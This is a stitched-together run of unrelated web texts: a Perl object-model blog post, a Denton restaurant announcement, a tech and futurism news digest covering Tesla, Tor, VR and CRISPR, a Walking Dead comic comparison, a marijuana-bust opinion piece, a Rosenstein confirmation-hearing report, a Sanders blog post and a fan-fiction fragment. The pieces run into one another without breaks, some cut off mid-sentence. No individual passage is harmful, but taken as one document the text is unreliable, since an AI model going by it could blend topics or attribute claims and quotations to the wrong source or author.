The result is certainly flexible, at least! It’s especially cool that you can use whatever kind of reference you want for storage, though even as I say that, I acknowledge it’s no different from simply subclassing list or something in Python. It feels different in Perl, but maybe only because it looks so different.
I haven’t written much Perl in a long time, so I don’t know what the community is like any more. Moose was already ubiquitous when I left, which you’d think would let me say “the community mostly focuses on the stuff Moose can do” — but even a decade ago, Moose could already do far more than I had ever seen done by hand in Perl. It’s always made a big deal out of roles (read: interfaces), for instance, despite that I’d never seen anyone care about them in Perl before Moose came along. Maybe their presence in Moose has made them more popular? Who knows.
Also, I wrote Perl seriously, but in the intervening years I’ve only encountered people who only ever used Perl for one-offs. Maybe it’ll come as a surprise to a lot of readers that Perl has an object model at all.
Well, that was fun! I hope any of that made sense.
Special mention goes to Rust, which doesn’t have an object model you can fiddle with at runtime, but does do things a little differently.
It’s been really interesting thinking about how tiny differences make a huge impact on what people do in practice. Take the choice of storage in Perl versus Python. Perl’s massively common URI class uses a string as the storage, nothing else; I haven’t seen anything like that in Python aside from markupsafe, which is specifically designed as a string type. I would guess this is partly because Perl makes you choose — using a hashref is an obvious default, but you have to make that choice one way or the other. In Python (especially 3), inheriting from object and getting dict-based storage is the obvious thing to do; the ability to use another type isn’t quite so obvious, and doing it “right” involves a tiny bit of extra work.
Or, consider that Lua could have descriptors, but the extra bit of work (especially design work) has been enough of an impediment that I’ve never implemented them. I don’t think the object implementations I’ve looked at have included them, either. Super weird!
In that light, it’s only natural that objects would be so strongly associated with the features Java and C++ attach to them. I think that makes it all the more important to play around! Look at what Moose has done. No, really, you should bear in mind my description of how Perl does stuff and flip through the Moose documentation. It’s amazing what they’ve built.From up there on the eighth floor, you can see nearly the TWU and UNT campuses. You can look way out and spot Frisco. Up close, the Denton County courthouse feels like you could almost give it a high five.
The Wells Fargo building on the Denton Square has loomed there since 1963, like a chaperone over the shenanigans that take place on the blocks below. In 2018, the top floor of that building will transform into its own hangout: a restaurant with the best view in town.
Can't picture where this building is? The eighth-story Wells Fargo building is located at the corner of Hickory and Locust streets in Denton. The eighth-story restaurant will be located where the top-most windows are.
The restaurant will be called the Sunago Bell. Two meanings: "Sunago," in Greek, translates to "to gather together." And Bell is the last name of the landlord, Jack Bell, and also a design inspiration: The partners in the project plan to utilize bells in the décor -- without covering up those floor-to-ceiling views, of course.
The team behind Sunago Bell helped fraternize the Denton Square into a food and drink destination, as they're behind Barley & Board and LSA Burger Co., among other restaurants.
When John "Sparky" Pearson heard the penthouse of the Wells Fargo building was available for lease, he and his team made a forceful pitch to nab yet another dining spot in the Denton Square, he says.
"He knew we could love on it and make it cool," Pearson says when they got the lease. (Bell wasn't immediately available for comment.)
The restaurant is expected to have Mediterranean-coastal influences, says chef Chad Kelley, with a focus on seafood and inspiration from the cuisines in Spain, Italy and France. The menu hasn't been created yet.
"Simple, light, clean, fresh," are words he uses to describe the food.
The restaurant will seat about 150 people up on the eighth floor, and the Radical Hospitality team plans to build a skybridge out to the elevator shaft to create a dramatic, on-high effect. Down on the third floor of the same building, the team plans to build a private event space that can hold several hundred people, with a bar. From up on the eighth floor, diners on the east side of the Wells Fargo building can look down and see the third-floor space.
"Think: You're in New York, looking down on a rooftop deck," Pearson explains.
It'll be late summer or early fall 2018 before the Sunago Bell opens, Pearson says. There's nothing much to see up there today except a bunch of wires and some dark-wood office furniture, pushed to the side. Well, and the view.
The best seat in the restaurant will be in the northwest corner, where folks in Denton County might just find the most beautiful spot for a sunset.
101 S. Locust St., Denton
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and transparent way.”
Nasdaq recently announced it will undertake an effort to manage proxy voting via blockchain technology in Estonia, as its next proof-of-concept for the company’s blockchain initiative. – Elliot Holley
Australian Securities Exchange Replacing CHESS with Blockchain
The Australian Securities Exchange could be about to replace its current clearing and settlement technology with blockchain.
Blockchain could save both time and money in the current Clearing House Electronic Subregister System (CHESS), said ASX chief executive Elmer Funke Kupper, who is “seriously considering” using the celebrated technology:
We see CHESS replacement as a one in 20-year opportunity.
We are looking at what we can do to bring end-to-end efficiencies, and we have people looking very closely at blockchain to see if we can create efficiencies for our clients, investors and companies.
The upgrade of the stock exchange’s clearing and settlement system is due to begin by the end of next year. – Clara Guibourg
COMPANIES / PROJECTS / PRODUCTS
Self-Driving Cars
Tesla Autopilot Prevents a 45mph Head-On Collision – Seth Weintraub
“Was travelling a little under 45 mph. There was some rain, but roads were pretty dry. I was watching stopped traffic to my right.
I did not touch the brake. Car did all the work. Sadly no audio, because I had an Uber passenger and Washington has strict privacy laws about recording conversations.”
Death on the Roads
Road traffic accidents kill an estimated 1.25m people a year, according to a new report by the World Health Organisation.
Road accidents kill more men than women, and are the biggest killer of 15- to 29-year olds globally.
As well as the human toll, it is an economic burden, costing the global economy an estimated 3% of GDP, and up to 5% in the poor and middle-income countries where 90% of deaths occur but only half the world’s vehicles are driven.
In Thailand, which has the second-worst death rate, around three-quarters of people who die are motorcyclists. – The Economist Data Team
Tesla Self Drives Coast to Coast
Two new EV world records! – Carl Reese
Congrats on driving a Tesla from LA to NY in just over two days! – Elon Musk
The Model S crossed the country in record time for an electric vehicle—and drove itself nearly the entire way (from the Portofino Hotel in Redondo Beach California to East 31st Street in Manhattan).
Carl Reese, Deena Mastracci, and Alex Roy made the coast-to-coast drive in 57 hours and 48 minutes, a time that is still to be verified by an independent third party.
They had autopilot mode engaged 96 percent of the time, Reese says, using it at speeds around 90 mph. It eased the burden on the team, a big deal when you’re in a car for 57 hours straight.
It highlights how quickly and enthusiastically autonomous technology is likely to be adopted. – Alex Davies
The OS Fund
Oct 20th 2014: Today I am announcing the OS Fund — $100 million of my personal capital dedicated to investing in inventors and scientists who aim to benefit humanity through quantum leap discoveries at the operating system, or OS, level – Bryan Johnson
OS Fund Turns 1: A Year of Learning, Adventure, And Reward
One year ago, we launched OS Fund; what a fantastic year it’s been! It’s been uniquely satisfying to work alongside many of the world’s most capable entrepreneurs focusing on some of the most audacious projects on planet Earth.
Here’s a snapshot of what some of our portfolio companies are working to achieve:
In less than 18 months, one of our first investments, Human Longevity, has become the world’s largest sequencer of human genomes, launched the newly imagined preventive care center Health Nucleus, and inked a deal with one of the largest insurance companies in the world (Discovery) for low-cost exome sequencing, redefining personalized health care.
This past summer, Matternet piloted its autonomous vehicles to deliver mail in Switzerland. Where else better to test your product than within one of the world’s most efficient postal services?
One particularly exciting area to us is synthetic biology, which uses organisms and designs from nature to engineer new tools. Synthetic biologists are the future of engineering and are creating solutions now in food, flavors, textiles, and cosmetics – working toward solutions in health and medicine, the environment, and more.
A good example of this industry at work is a company we invested in this year, Ginkgo Bioworks. Based in Boston, this company is working to make the programming of biology more predictable. Ginkgo signed several deals this year in fragrances and flavoring, and we are proud to support them and excited to see what comes next!
Taking a different approach to reinventing the food industry is Hampton Creek, a company we invested in last year. It’s been a remarkable year for Hampton Creek – with their Just Mayo and other products on the shelves everywhere from Dollar Tree to Whole Foods – and also a tumultuous one – with recent stories surfacing that they were a target of an ugly attack by the American Egg Board. Reinventing an entire industry is no small task, and we look forward to seeing what the next year brings for Hampton Creek. – Bryan Johnson
Magic Leap
GamesBeat: You said you saw Magic Leap under NDA and they were doing things you didn’t think were possible. Can you narrow that down a little bit?
Tim Sweeney: Who’s heard about the Xerox PARC laboratory from the ‘60s and ‘70s? It was before my time. But I feel like what I saw there, it was like an extension. I hadn’t thought some of that stuff was possible, but they were doing it right there. They had the devices in their lap. They were making it work. It felt like if you teleported back to 1972 and saw the first mouse, the first graphical user interface, the future of computing right there.
This is probably happening in a lot of other places besides Magic Leap that I haven’t seen. But that’s part of the revolution that’s happening right now.
The Apple Watch
The company hasn’t published a breakdown of the sales of the Apple Watch, but Cook says that “I think we will set a new [sales] record this quarter; so things are going well.”
He is keen to highlight its health benefits – it contains sensors which allow people to monitor activity levels and heart rates — and recounts how it saved a schoolboy. “He is an [American] football player, a senior in high school. He learnt from his watch that his heart rate was elevated; he mentioned it to his trainer who became very worried about it. He sent him to the doctor and the doctor told him he would have died the following day had he not come in. Basically his organs were shutting down.”
Cook hints that Apple may have more plans for the health sphere, in a revelation which will intrigue Wall Street, but he doesn’t want the watch itself to become a regulated, government-licensed health product.
“We don’t want to put the watch through the Food and Drug Administration (FDA) process. I wouldn’t mind putting something adjacent to the watch through it, but not the watch, because it would hold us back from innovating too much, the cycles are too long. But you can begin to envision other things that might be adjacent to it — maybe an app, maybe something else.” – Allister Heath
PRIVACY / SECURITY / INTERNET
Tor Director: FBI Paid Carnegie Mellon $1M to Break Tor, Hand Over IPs
Feds may have obtained Tor IP addresses with no warrant during Silk Road 2 Case
The head of the Tor Project has accused the FBI of paying Carnegie Mellon computer security researchers at least $1 million to de-anonymize Tor users and reveal their IP addresses as part of a large criminal investigation.
One of the IP addresses revealed belongs to Brian Farrell, an alleged Silk Road 2 lieutenant who is due to stand trial in federal court in Seattle later this month. A new filing in Farrell’s case, which was first reported Wednesday by Vice Motherboard, says that a “university-based research institute”aided government efforts to unmask Farrell.
As Ars reported in January 2015, a Homeland Security search warrant affidavit states that from January to July 2014, a “source of information” provided law enforcement “with particular IP addresses” that had accessed the vendor-side of Silk Road 2.
By July, the Tor Project managed to discover and shut down this sustained attack. The Tor Project further concluded that the attack resembled a technique described by a team of Carnegie Mellon University researchers who a few weeks earlier had canceled a security conference presentation on a low-cost way to deanonymize Tor users. The Tor officials went on to warn that an intelligence agency from a global adversary also might have been able to capitalize on the vulnerability. – Cyrus Farivar
LEARNING / EDUCATION
Computer Science
Nick Szabo: Computer science gives you far more leverage to change the world than any other study in our age.
Patrick Molgaard: I’d argue the winning combo is (strong domain knowledge) + (programming ability), which might preclude actually studying compsci
Nick Szabo: No: the best combo is domain knowledge + comp sci. Mere programmers have far less ability to reason about what is possible.
Great News: Intro to Computer Science Overtakes Economics as Harvard’s Most Popular Class
The most popular fall-semester course at Harvard is Introduction to Computer Science I.
The tech course enrolled almost 820 students for the current fall semester. That total is the highest in the three decades the course has been offered and it’s the biggest class offered at Harvard in at least a decade, according to The Harvard Crimson.
Most interesting, though, is that the course has supplanted “Introduction to Economics” as the Ivy League school’s most popular course. – Tom Huddleston, Jr.
Learning in Virtual Reality
Humanity is standing on a precipice. We have never been closer to achieving a world where everyone has the ability to live and thrive. Biotech, nanotech and AI promise to reshape the world and have the potential to imbue humanity with near-godlike powers.
Virtual reality (VR) is often called the “final medium” due to its unparalleled power to share experiences and ideas. VR films and stories are shockingly effective at generating empathy and creating the impetus for action. VR education will allow us to learn faster and more interactively than ever before. And VR collaboration spaces will allow us to work from anywhere to solve the world’s grand challenges.
The potential use cases for VR in classrooms are endless:
A history teacher could lead his or her class on a tour of ancient Rome, providing a visceral connection to the past which was never before possible.
Science teachers can take their students to another galaxy or shrink them down and show them chemical reactions from the molecular scale.
Imagine a physics class where students take a trip to Mars, learn the physics of launching a rocket to orbit and then work with a group to plan out a rocket launch. – Jason Ganz
Collaborative Virtual Reality Communities
Social virtual reality is going to be an absolute game changer for collaboration. Because social VR will do what no other has been able to do—actually make you feel like you are in the same room with another person. Very soon, we’ll start to see virtual reality seminars, meetup groups and hackerspaces.
It’s tough to explain just how impactful social VR can be.
The first time I was in a social VR space, I was floored at how real it felt. I spoke to a group of VR enthusiasts around the world, swapping stories of our VR projects, and it honestly felt nearly as natural as being there. If you haven’t tried social VR, it’s hard to get across just how impressive of an experience it can be. Even compared with the best video telepresence tools we have available, there still is nothing like the feeling of actually working together in the same room. That is the feeling that virtual reality provides.
We’ll see VR hackathons where groups meet up in social VR to compete to create the greatest project. We’ll see open source groups holding weekly town halls and meetups where contributors get together to improve the project. – Jason Ganz
THE SINGULARITY
The Metaverse
The Metaverse is a collective virtual shared space, created by the convergence of virtually enhanced physical reality and physically persistent virtual space, including the sum of all virtual worlds, augmented reality, and the internet.
The word metaverse is a portmanteau of the prefix “meta” (meaning “beyond”) and “universe” and is typically used to describe the concept of a future iteration of the internet, made up of persistent, shared, 3D virtual spaces linked into a perceived virtual universe. – Wikipedia
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With at least 250 companies working on VR now, a large number of them are working on realizing the Metaverse, this science-fiction idea of virtual reality and all that it leads to. – Tim Sweeney
Perhaps, it’s reasonable to assume that over time, our virtual worlds will become indistinguishable from our current reality.
Soon, we won’t visit the Internet from the glass window of our computer screens, but rather walk around inside it as a physical place.
Philip Rosedale, the creator of Second Life, recently announced plans for a bold new virtual universe with a potential physical game map as large as the landmass of Earth.
Essentially, he’ll create a virtual world with its own laws of physics, and once he’s pressed play, a newly formed universe will have its own “let there be light” creation moment.
Where we go from there will be stunning to watch. – Aaron Frank
The Metaverse: Immersive 3D Equivalent of the Internet
We’re building an open-source virtual reality platform that gives everyone the power to create, explore and share virtual worlds. – High Fidelity
What is the metaverse? It’s Philip Rosedale’s second crack at playing god—at least in the virtual sense. Rosedale created his first virtual world, Second Life, in 2002. Now, he and his new company, High Fidelity, are building another world—and this time, they’re thinking on planetary scales.
Speaking at the Silicon Valley Virtual Reality conference, Philip Rosedale said that by harnessing the shared power of home PCs, “We could collectively create a space whose literal scale is comparable to the landmass of the planet Earth.”
Rosedale and High Fidelity aim to build a scaffold, set the ground rules, and hit play. That is, they’ll provide laws of physics and a Big Bang. The High Fidelity world itself, however, will be built by residents. There’s no predicting what will emerge, and that’s the beauty of it.
While you can access the world on your laptop or desktop PC, you can also visit using a headmounted display, like the Oculus Rift.
In his talk, Rosedale also hit on some other perhaps more intriguing visions for High Fidelity beyond simply social VR. As virtual reality comes online: The big question is what will we use it for most?
Looking back to the early days of computing in two dimensions, games and word processing were fun and useful. But they were dwarfed and ultimately embedded in something bigger. Something we call the Internet. Done right, Rosedale thinks virtual worlds can build on the Internet, even encompass it, and grow just as fast (only in three dimensions). How? By making sure they are free, open, and interconnected.
Back in the mid-90s, AOL and CompuServe were our first online portals, but they were eclipsed by a wilder, more chaotic model. Why? The hyperlink. An isolated web page isn’t as useful as one linking to other pages for more information. Their usefulness as a whole rapidly climbs with interconnectivity.
“If we can build a metaverse in which the spaces we create are linked together—or whoever successfully does that,”Rosedale says, “Those combined spaces with those hyperlinks will rapidly dominate everything, in terms of our total usage.”
How will we create the 3D equivalent of webpages? How will we connect them to each other? And how will we organically search them to find whatever we like?
These are questions High Fidelity and its community of cocreators will explore. If it’s early days for virtual reality—it’s even earlier for Internet-like VR. – Jason Dorrier
Moving Into The Metaverse In The Same Way We Moved Onto The Internet
Philip Rosedale wants to build the Metaverse, the virtual reality experience depicted in the Neal Stephenson’s 1992 novel Snow Crash so many years ago. His first-generation attempt to do so was Second Life, the virtual world created by his former company Linden Lab.
Rosedale believes that the Metaverse will be the destination for all things, with applications expanding far beyond entertainment and gaming. It will enable a global village for communication with a billion other people in the world, he said.
Rosedale believes the Metaverse will happen because the technology to do it is getting cheaper and more accessible.
You can manipulate virtual environments in a natural way and communicate,” Rosedale said. “These virtual experiences are not science fiction. We are in alpha. It is starting to work. All of the components are there.”
He noted that his board of directors had a meeting inside virtual reality the other day.
But it’s still a ways off before everybody will be able to step into the Metaverse. First, the experience has to be low-latency, or with instantaneous interactions. As you move, your avatar, or virtual representation of yourself in the animated world, should also move. It should also sort out matters of identity.
Right now, about 15 people can participate in the same room at the same time. Rosedale wants features such as identity, hyperlinks, shared content, infinite spaces, and large audiences.
“The revolution and exponential growth in 3D content will be mind-boggling,” he said. “If we have a Metaverse where people build things, it will be ten times more fun with this gear. We’ll be buying and selling virtual goods.”
The Metaverse will rapidly become a huge virtual space, and exploring it will become a pastime, much like it has in Second Life, he said.
He added, “It would be totally editable. You could go into a space in virtual Siberia and write on the wall and come back years later and find it.”
In conclusion, Rosedale said, “Much of our human creativity may move into these spaces. I think that it will. We will move into the Metaverse for much of our work, design, education, and play in the same way we moved onto the Internet. There is very little that stands in the way of that happening.” – Dean Takahashi
America Has Started to Dematerialize
Back in the 1970s, it was thought that America’s growing appetite might exhaust Earth’s crust of just about every metal and mineral. But a surprising thing happened: even as our population kept growing, the intensity of use of the resources began to fall.
For each new dollar in the economy, we used less copper and steel than we had used before — not just the relative but also the absolute use of nine basic commodities, flat or falling for about 20 years (Figure 8). By about 1990, Americans even began to use less plastic. America has started to dematerialize.
Much dematerialization does not surprise us, when a single pocket-size smartphone replaces an alarm clock, flashlight, and various media players, along with all the CDs and DVDs. – Jesse H. Ausubel
CRISPR Gene Editing to be Tested on People by 2017
Biotech company will test advanced gene engineering methods to treat blindness.
The biotechnology startup Editas Medicine intends to begin tests of a powerful new form of gene repair in humans within two years.
If Editas’s plans move forward, the study would likely be the first to use CRISPR to edit the DNA of a person.
CRISPR technology was invented just three years ago but is so precise and cheap to use it has quickly spread through biology laboratories. Already, scientists have used it to generate genetically engineered monkeys.
Editas is one of several startups, including Intellia Therapeutics and CRISPR Therapeutics, that have plans to use the technique to correct DNA disorders that affect children and adults. Bosley said that because CRISPR can “repair broken genes” it holds promise for treating several thousand inherited disorders caused by gene mistakes, most of which, like Huntington’s disease and cystic fibrosis, have no cure.
Editas, which had not previously given a timeline for an initial human test of CRISPR, will try to treat one form of a rare eye disease called Leber congenital amaurosis, which affects the light-receiving cells of the retina.
The disease was picked in part because it is relatively easy to address with CRISPR, Bosley said. The exact gene error is known, and the eye is easy to reach with genetic treatments. “It feels fast, but we are going at the pace science allows,” she said.
Editas plans to deliver the CRISPR technology as a gene therapy. The treatment will involve injecting into the retina a soup of viruses loaded with the DNA instructions needed to manufacture the components of CRISPR, including a protein that can cut a gene at a precise location. Bosley said in order to treat LCA, the company intends to delete about 1,000 DNA letters from a gene called CEP290 in a patient’s photoreceptor cells.
After the edit, preliminary lab experiments show, the gene should function correctly again. Bosley said Editas still needs to test the approach further in the lab and in animals before a human study starts.
Editas was created by venture capital funds including Third Rock Ventures in 2013 and was cofounded by scientists including Feng Zhang of the MIT/Harvard Broad Institute. It has raised more than $160 million in capital, allowing it to pursue ideas for several treatments simultaneously, Bosley said. – Antonio Regalado
The Death of Cancer
A critical mass of medical knowledge could soon end the death threat of cancer, but politics stands in the way.
That more people than necessary continue to die from cancer has nothing to do with ‘the failed war on cancer’ – a familiar refrain in the press – or a lack of scientific tools, which have begun to accumulate at a breathtaking pace. Rather, obstacles take the form of not using the tools we already have to cure more; a reluctance to drop outdated beliefs; bureaucratic battles among physicians and medical groups; and outdated regulation by the US Food and Drug Administration (FDA) whose policies hinder the innovations wrought by cancer drug‑development in recent years.
These issues are well‑known to doctors and researchers, but many are reluctant to talk about them overtly for fear that they could damage their colleagues or their chances of getting a grant or drug application approved.
I say we’re winning the war on cancer. By 1990, the overall mortality rate of all kinds of cancers in the US had begun to decline. By 2005, the absolute number of people in the US dying of cancer had declined even as the population, including the elder population, grew. (Risk of cancer is higher in the elderly).
Childhood leukemia is now almost completely curable. Hodgkin’s disease and several types of advanced lymphomas are almost completely curable. Mortality from colon cancer has dropped by 40 per cent in the past two decades. Mortality from breast cancer has dropped by about 25 per cent; for prostate cancer, by 68 per cent.
So much of the mortality declines come from refinement of old technology: mutilating surgeries, such as the radical mastectomy, have given way to more refined ones that still get the job done; radiotherapy equipment has become more refined, allowing radiotherapy to be delivered to the tumour without killing the normal tissue surrounding it; drugs have been developed to prevent nausea and vomiting, the bane of the existence of chemotherapists, so people can tolerate drug treatment.
And the best is yet to come. We have the critical mass of usable knowledge to get us the rest of the way, to bring about the end of cancer as a major public health issue in the next decade.
Recently, at a dinner for the FDA Commissioner, I sat next to an outstanding clinical investigator who works with the exciting new drugs recently available for advanced melanoma. For the first time in my long career, we are seeing remissions that are likely cures of this ferocious disease. I asked my dinner companion how he was affected by all the regulations that have been piled on the FDA and the NCI. He said: ‘Vince, if they would leave me alone, I could cure so many more patients.’
We are so close to ending the death threat of cancer. We have the science. We just need to put the final pieces in place. But forward movement requires that some people relinquish their positions of power, and power players can be entrenched. – Elizabeth DeVita-Raeburn & Vincent DeVita
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AdvertisementsAll Out War stands as one of the most famous story arcs in The Walking Dead comics. Now that it has reached the show, how did the premiere episode compare to the source material? Similar to our comic/show posts from Season 7, we compared the biggest moments of the Season 8 Premiere to its comic counterparts (mostly from Volume 20: All Out War Part 1) below:
Rick’s “Dream”
Sorry, but the Season 8 Premiere did NOT answer the question of whether the the Old Man Rick sequence from the trailer is real or a dream. While Rick didn’t experience any strange flash-forward-like dreams in the comics, there IS a time jump following the events of All Out War. In fact, the town fair Rick and Michonne mention in the show is actually PAST the time jump. The jump occurs in Issue #127, and the fair (pictured below) occurs in Issue #142:
Preparing for War
(Before we dive in – note that in the comics Rick is still with Andrea. A lot of Andrea’s personality has been attributed to Michonne in the show). MOVING on, in both the comic and show Rick bids farewell to his family, checks up with Ezekiel and Jesus, and heads to The Sanctuary. The preparation takes WAY less time in the comics, where the show gives each character room to check in with each other.
Carl’s Scavenging Mission Didn’t Happen In The Comics
Those scenes with Carl scavenging around the gas station and interacting with a starving survivor did NOT occur in the comics. However, it WAS a great homage to his father Rick from the pilot episode, which we edited side-by-side together here.
Daryl’s Side Mission Didn’t Happen Either
In the comics Daryl and Tara don’t exist and Carol and Morgan are dead, so this side mission to divert walkers to The Sanctuary didn’t happen. Then how did the walkers reach Negan? In the comics, Rick instructs his people to shoot out the windows and create a cacophony to lure the undead right to The Sanctuary.
Rick’s Entrance
Finally, some comic/show comparisons we can get behind. The iconic scene in the comics of Rick and his allies arriving at Negan’s doorstep and shooting guns over their head played out nearly identically as the show. In both cases, Rick gets Negan’s attention by shooting in the air and tells him they don’t have to go to war. In both instances, Negan is frustrated by Rick’s intrusion but DOES have a back-up plan…
The Gregory Plan
Negan’s grand plan to use Gregory to lure The Hilltop to his side failed miserably in the show and the comics. After realizing no one cared about Gregory and he wouldn’t gain any new followers, Negan kicked him off the balcony. Some minor differences: in the comics, eight people from The Hilltop stepped forward whereas zero did in the show. Also, in the comics Negan kicks Gregory off the balcony, where it was Simon who shoved him off in the show. In both instances, Jesus loyally stuck by Rick’s side.
The Battle
In both the comic and show, Negan and Rick can’t come to an agreement and they ignite All Out War. In the comic, The Saviors shoot first while in the show, it’s Rick. In both instances Rick commands his people to shoot out the windows to attract the nearby walkers straight to The Sanctuary.
In both the comics and show Rick’s group overwhelms the Saviors and force them to retreat. Some minor differences: in the show, Negan’s forced to hole up in a trailer, where he sees Father Gabriel and delivers the shitting your-pants-line. In the comics, Negan uses the line on Dwight as they watch the walkers close in. Also, that mini stand-off where Rick had Negan pinned didn’t play out in the comics at all. Negan was far less vulnerable.
Another change: In the show Father Gabriel drives the armored RV to The Sanctuary gate and Rick detonates it – blowing an opening into Negan’s stronghold. In the comics, Holly (who isn’t in the show but is essentially a version of Sasha’s character) goes rogue and plows her truck through The Sanctuary gate (she’s trying to get revenge on Negan for killing Abraham – who she was in love with). Although she’s successful in blowing a hole in the building, Holly is immediately taken prisoner by Negan (like Sasha was in Season 7).
The Aftermath
As Negan and The Saviors get surrounded by walkers, Rick and his crew leaves. In the show, Rick tells his people whatever happens they’ve already won. In the comics, Rick’s remarks are more brief and less awe-inspiring:
And that wraps up our comic/show comparisons for the Season 8 Premiere! What were your favorite comic/show moments? Let us know in the comments and stick around for next week’s comparisons.If I didn't know better, some of this week's headlines might have me wondering if the American marijuana market is about to come to a crashing halt.
Record Marijuana Bust: $205 Million In Pot Plants Eradicated In Ventura County
Officials from the Venture County Sheriff's department pulled in a record haul at a massive marijuana bust last week, the department announced today.
According to the official press release, the interoffice effort between a number of local officials and the United States Forest Service (USFS) managed to collect 68,488 marijuana plants at a large growing operation in the Los Padres National Forest just north of the city of Ojai.
The estimated street value for the record breaking bust was $205,464,000. (Huffington Post)
Meanwhile in Mexico, there's plenty of excitement in the air as well:
Mexico Finds Large Marijuana Farm in Baja California
Mexican soldiers discovered one of the largest marijuana plantations ever found in the country, just 200 miles south of San Diego, Calif., the Mexican Defense Ministry said.
Mexican officials said on Thursday that the plantation, in Baja California, stretched as far as the eye could see—totaling some 120 hectares (296 acres). The crop would yield about 120 metric tons and be worth an estimated $160 million, the Defense Ministry said in a statement. (WSJ)
This is pretty typical stuff as far as celebratory drug prohibition press releases are concerned, but that hardly excuses the epic levels of drug war idiocy on display here. Let's just think critically for one second and consider how you'd feel if you were tasked with the responsibility of preventing marijuana cultivation, and you just kept discovering ever more mindblowingly enormous marijuana plantations every single year.
It is a sign of progress, yes, but not on the part of the vast drug war armies dedicated to stopping people from growing staggering amounts of marijuana all over the northern hemisphere. The only discernible progress any reasonable person could observe here would have to be credited to those whose mission it is to overwhelm law-enforcement with an ever-intensifying cultivation campaign that promises to make them rich regardless of whatever percentage happens to get hauled off by the cops.
You would never find an oncologist bragging that he's finding the biggest tumors of his career and calling it a victory in the fight against cancer. Marijuana is hardly cancer, of course, but I wouldn't bet these pot crusaders are entirely clear on the distinction, which is why I still struggle to comprehend their ongoing and obsessive tendency to boast about something they ought to find perfectly disturbing.
At this pace, we can look forward to the day when marijuana is literally the only thing still growing in our once-majestic wilderness, and as insane as it sounds, I wouldn't even be surprised to find law enforcement still bragging about their success as marijuana fields wind their way across every hillside from Orange Country to Olympia.President Trump’s nominee for deputy attorney general declined Tuesday to endorse the appointment of a special prosecutor to investigate ties between the Trump campaign and Russian officials, bucking pressure from Democrats.
Speaking in a calm, firm tone, Rod Rosenstein refused “on principle” to describe how he would handle any individual case.
“I view it as a matter of principle. As a nominee for deputy attorney general, I should not be promising to take action on a particular case,” Rosenstein said. “My view is that I have a responsibility when I take that oath — I cannot take it on condition upon how I will handle a particular case.”
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The hearing for Rosenstein took on added importance last week after Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsFormer Trump refugee director did not notify superiors about family separation warnings Court rejects challenge to Mueller's appointment Trump says he hasn't spoken to Barr about Mueller report MORE recused himself from any investigations related to Russian interference in the 2016 presidential election.
As the Justice Department’s second-in-command, Rosenstein would assume control of any investigation that Sessions recused himself from.
Underscoring the unusual interest in Rosenstein’s role, the Dirksen Office Building hearing room was jammed with spectators on Tuesday. Sen. Lindsey Graham Lindsey Olin GrahamWhite House pleads with Senate GOP on emergency declaration GOP lawmaker says panel to investigate drug company gaming of patent system Sixteen years later, let's finally heed the call of the 9/11 Commission MORE (R-S.C.) at one point had to squeeze his way between rows of chairs and a packed press table to exit.
Rosenstein, a respected prosecutor who has served five presidents, seemed unfazed by the attention.
In an occasionally tense exchange with Senate Judiciary Committee ranking member Dianne Feinstein Dianne Emiel FeinsteinSenate confirms Trump court pick despite missing two 'blue slips' Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' MORE (D-Calif.), Rosenstein argued that without the underlying facts — which only current officials would know — he could not be asked to make a determination on whether a special prosecutor on Russian interference is needed.
"I'm simply not in a position to answer that," he said.
Rosenstein went only so far as to commit to appoint a special counsel “whenever I determine it’s appropriate based on the policies and procedures of the Department of Justice.”
During the hearing, Rosenstein repeatedly disavowed any knowledge beyond what he has “read in the papers,” and the hearing quickly evolved into a crossfire between Republicans on the defensive and Democrats determined to force the issue.
Democrats can do little to halt Rosenstein’s confirmation, although they can slow-walk the process. Despite praising his experience, Sen. Richard Blumenthal (D-Conn.) has vowed to use “every possible tool” to block the nomination unless he commits to appointing an independent prosecutor.
Republicans from the start pushed back on calls for a special counsel.
Committee Chairman Chuck Grassley Charles (Chuck) Ernest GrassleyOvernight Health Care: Senators grill drug execs over high prices | Progressive Dems unveil Medicare for all bill | House Dems to subpoena Trump officials over family separations Senate confirms Trump court pick despite missing two 'blue slips' GOP lawmaker says panel to investigate drug company gaming of patent system MORE (R-Iowa) kicked off proceedings with a fierce rebuttal, arguing, "The notion that somehow a special counsel will bring facts to light just isn’t true.
"Any insinuation that Mr. Rosenstein lacks the impartiality and professionalism to handle these kind of matters is out of line. His independence is beyond reproach."
Democrats were careful to separate their calls for an independent prosecutor from their assessment of Rosenstein’s professionalism and experience.
Rosenstein, who has spent nearly 12 years as the United States attorney for Maryland, has more than once been involved in politically charged cases during his career.
He worked on Kenneth Starr’s independent counsel investigation into the Whitewater affair during the Clinton administration and oversaw the investigation into retired Gen. James E. “Hoss” Cartwright in a high-profile leak case last year.
Pressed by Grassley, Rosenstein said he was "not aware of any" reason why he would need to recuse himself from any investigations into Russian contacts with the Trump campaign.
"The bottom line is that it’s my job to make sure all investigations are conducted independently,” he said.Let’s consider a hypothetical. What if Bernie Sanders became president? It’s hardly impossible. If he wins in Iowa and New Hampshire and then either in South Carolina or Nevada, he could well be the nominee with the momentum that would create. If Donald Trump or Ted Cruz is the Republican nominee, which seems likely, then given the utter detestability of the Republican ticket, Sanders could win.
So then what? What does a Sanders presidency look like? I doubt it looks all the great. I have two primary concerns. First, what is the most important thing a president does? Is it leadership? Is it giving speeches? Is it proposing legislation? No, it is none of these things. The most important thing a president does is make appointments to offices and judgeships. That’s because a) appointments are really important and b) presidents are highly constrained by Congress so their personal agenda has only a limited ability to be implemented. That’s less true for foreign policy, but then foreign affairs is not Sanders’ strong suit. As many have said, what Sanders says he will immediately change, he really can’t. The president simply does not control economic policy to this extent. I don’t get the sense yet that Sanders is really thinking about what a Sanders presidency would look like. The Obama administration made a big mistake in taking too much time to get appointments made in the first year and he had prime-time political operatives working for him. So this is a concern. Or I guess a cluster of concerns about Sanders’ ability to govern and prioritizing where he actually move toward the changes he wants to see.
But I think my bigger concern about a Sanders presidency is that his base would almost certainly abandon him within a year. The left has learned nothing since 2008. In that year, the left looked at Obama as its savior. This was ridiculous if you looked at his record,
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she couldn't depend on Elsa forever. Even if Elsa wouldn't mind, being independent was good. It would help her feel more at ease whenever she'd go home late and knew that Anna could whip up a meal that was homemade. It was much healthier than eating outside food.
"You could've waited for me," Elsa pointed out.
"I know, I know. But you might say something about me not needing to do it. You know, like what you just did?" Anna poked her fingers to see if there was still blood. "I was... I was actually hoping to come up with something before you come home."
